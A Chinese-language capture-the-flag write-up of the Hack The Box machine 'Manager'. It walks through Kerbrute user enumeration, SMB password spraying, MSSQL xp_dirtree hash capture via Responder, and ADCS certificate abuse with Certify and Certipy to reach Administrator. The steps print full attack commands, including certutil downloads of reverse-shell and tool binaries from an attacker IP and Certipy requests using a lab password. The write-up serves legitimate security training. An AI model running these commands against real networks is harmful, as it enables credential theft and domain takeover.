前言
今天的靶机依然是HTB(Hack The Box)的靶机-- Manager,这也是一台中等难度的域靶机,这个靶机会涉及一些Kerbrute、mssql、ADCS等相关的知识点,跟上篇中的靶机还是非常相似的。
开干:
1、环境准备
HTB的靶机
2、扫描开放端口
nmap命令扫描开放端口
列举几个比较重要的端口:80(http),88(kerberos),135、593(RPC),139、445(SMB),3268、3269(Ldap),1433(mssql)
3、寻找漏洞尝试利用
先匿名查看下smb的共享目录
匿名用户下没有什么有用的信息,接下来就访问下80,查看下web页面
whatweb查看下组件信息
未发现什么有rce的组件,接下来爆破下目录
也未发现什么有用的信息,接下来ldapsearch匿名搜索下目录对象
也没有权限。
接下来使用Kerbrute工具枚举域内用户,命令如下:
./kerbrute userenum --dc 10.129.xxx.xxx -d manager.htb /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
将这些用户名都放到一个txt中,用于接下来的爆破登录
因为靶机开放了smb,先用crackmapexec smb执行下smb服务密码爆破,用户名就用Kerbrute工具枚举出的域内用户,密码也用同样的txt。
这边爆破出operator:operator可以连接到靶机的smb服务
尝试用smbclient 连接到靶机的smb服务
连接之后也没发现有用的信息。
回顾下nmap扫描的结果,这个靶机还开放了mssql服务,接下来尝试用operator:operator登录mssql
登录失败,因为这是一个windows靶机,所以加上windows验证,再次登录
成功登录到mssql,查看下xp_cmdshell是否可用,如果可用的话就可以尝试用xp_cmdshell执行命令反弹shell
很可惜这边xp_cmdshell不可用,按照上一篇文章中介绍的,xp_cmdshell不可用情况下我们可以尝试用xp_dirtree存储过程获取运行mssql服务的用户NTLM的hash值,原理是通过LLMNR/NBT-NS欺骗攻击,让MSSQL去访问我们伪造的服务,当MSSQL去执行时就会把它自己的凭证发给我们。
kali启个responder服务
靶机中执行 EXEC xp_dirtree '\10.10.14.31share', 1, 1 向kali发出连接请求
如上图,获取了MANAGER用户的NTLMv2 hash,接下来用hashcat爆破出密码
hashcat -m 5600 -a 0 hash.txt rockyou.txt
hashcat并没有爆破出MANAGER用户的NTLMv2 hash,到这里就又卡住了。
在 SQL Server 中,xp_dirtree 是一个用于执行文件系统级别操作的存储过程。它可以用于遍历指定文件夹及其子文件夹,并返回文件和文件夹的信息。xp_dirtree 主要用于文件系统级别的查询和操作,包括文件和文件夹的检索。
所以接下来的思路就是利用xp_dirtree去查询下本地文件,目录“C:inetpubwwwroot”是 Windows 服务器上存储 Web 内容的常见位置。
执行命令 EXEC xp_dirtree 'C:inetpubwwwroot' ,1,1 查看目录底下的文件
发现一个可疑文件--website-backup-27-07-old.zip
将该文件下载到本地。
解压后,ls -a 可以看见一个隐藏文件,.old-conf.xml
可以发现用户名[email protected],密码为R4v3nBe5tD3veloP3r!123
尝试用这组用户名密码登录靶机,最终用winrm登录成功
evil-winrm -u raven -p 'R4v3nBe5tD3veloP3r!123' -i 10.129.xxx.xxx
读取用户flag
4、提权
查看是否可以土豆提权
不能用土豆,接下来上传一个反弹shell的exe,去执行winpeas
certutil.exe -urlcache -split -f http://10.10.14.31/reverse.exe
执行reverse.exe 反弹shell失败了,接着尝试上传一个nc64.exe执行反弹shell得命令,可以反弹成功。
下载winpeas.exe
certutil.exe -urlcache -split -f http://10.10.14.31/winpeas.exe
并未发现什么利用点
接下来尝试上篇文章中提到的提权方式,先枚举下AD(Active Directory)证书服务(ADCS),
certutil.exe -urlcache -split -f http://10.10.14.31/Certify.exe
直接在powershell中执行命令:./Certify.exe find /vulnerable
这边显示 没有发现易受攻击的证书模板
无意间发现在Desktop目录用Certify来枚举易受攻击的证书,可以枚举出易受攻击的证书模板
运行以下命令获取证书:
.certify.exe request /ca:dc01.manager.htbmanager-DC01-CA /template:User /altname:Administrator
将"-----BEGIN RSA PRIVATE KEY-----"到"-----END CERTIFICATE-----"保存为cert.pem文件。
接下来使用openssl命令,以.pfx格式导出证书。命令如下:
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
要求输入密码就输空密码
接下来往靶机中上传cert.pfx文件和Rubeus.exe。Rubeus.exe工具下载地址:https://github.com/Flangvik/SharpCollection
运行asktgt命令,向其传递证书,获取TGT。
命令如下:
.Rubeus.exe asktgt /user:administrator /certificate:C:UsersRyan.CooperDocumentscert.pfx /getcredentials /show /nowrap
报错了
接下来尝试另一个可以实现同样功能的工具--Certipy,好处是可以在vps中执行,比较方便。
下载地址:https://github.com/ly4k/Certipy,kali里面也自带该工具
执行命令certipy-ad find -u xxx -p xxxx -dc-ip xxx.xxx.xxx.xxx -stdout -vulnerable 枚举易受攻击的证书
这边没有发现易受攻击的证书模板,但是提示了用户Raven有危险的权限。
使用“certipy-ad”与 Active Directory 证书服务进行交互,创建一个officer账户,用来授予在AD中管理证书和相关操作的权限。
接下来启用subca的证书模板
certipy-ad ca -u [email protected] -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.xxx.xxx -ca manager-dc01-ca -enable-template subca
这边证书模板用的是之前Certify.exe枚举的结果,最终用的subca模板提权成功
根据subca模板申请一个证书
certipy-ad req -u [email protected] -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.xxx.xxx -ca manager-dc01-ca -template SubCA -upn [email protected]
请求被拒绝了,但是本地会获得一个请求ID和一个私钥。可以看到请求id是13,现在通过ca命令和-issue-request <request ID> 参数手动签发失败的证书。
certipy-ad ca -u [email protected] -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.xxx.xxx -ca manager-dc01-ca -issue-request 13
使用 req 命令和 -retrieve <request ID> 参数检索已签发的证书
certipy-ad req -u [email protected] -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.xxx.xxx -ca manager-dc01-ca -retrieve 13
有了管理员的 PFX 文件,我们就可以利用它进行身份验证了
certipy-ad auth -pfx administrator.pfx
报错了,使用ntpdate命令将时钟与靶机同步
sudo ntpdate -s manager.htb
再次执行 certipy-ad auth -pfx administrator.pfx命令,获取管理员Hash
接下来用管理员的NTLM hash登录管理员账户:
查看root Flag
5、总结
这个靶机的思路,先用Kerbrute枚举域内用户,然后登录mssql,用xp_dirtree查询本地文件,发现隐藏文件中有用户名和密码,提权部分和上一篇是一样的思路,同样是adcs攻击,换了一个工具而已。
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...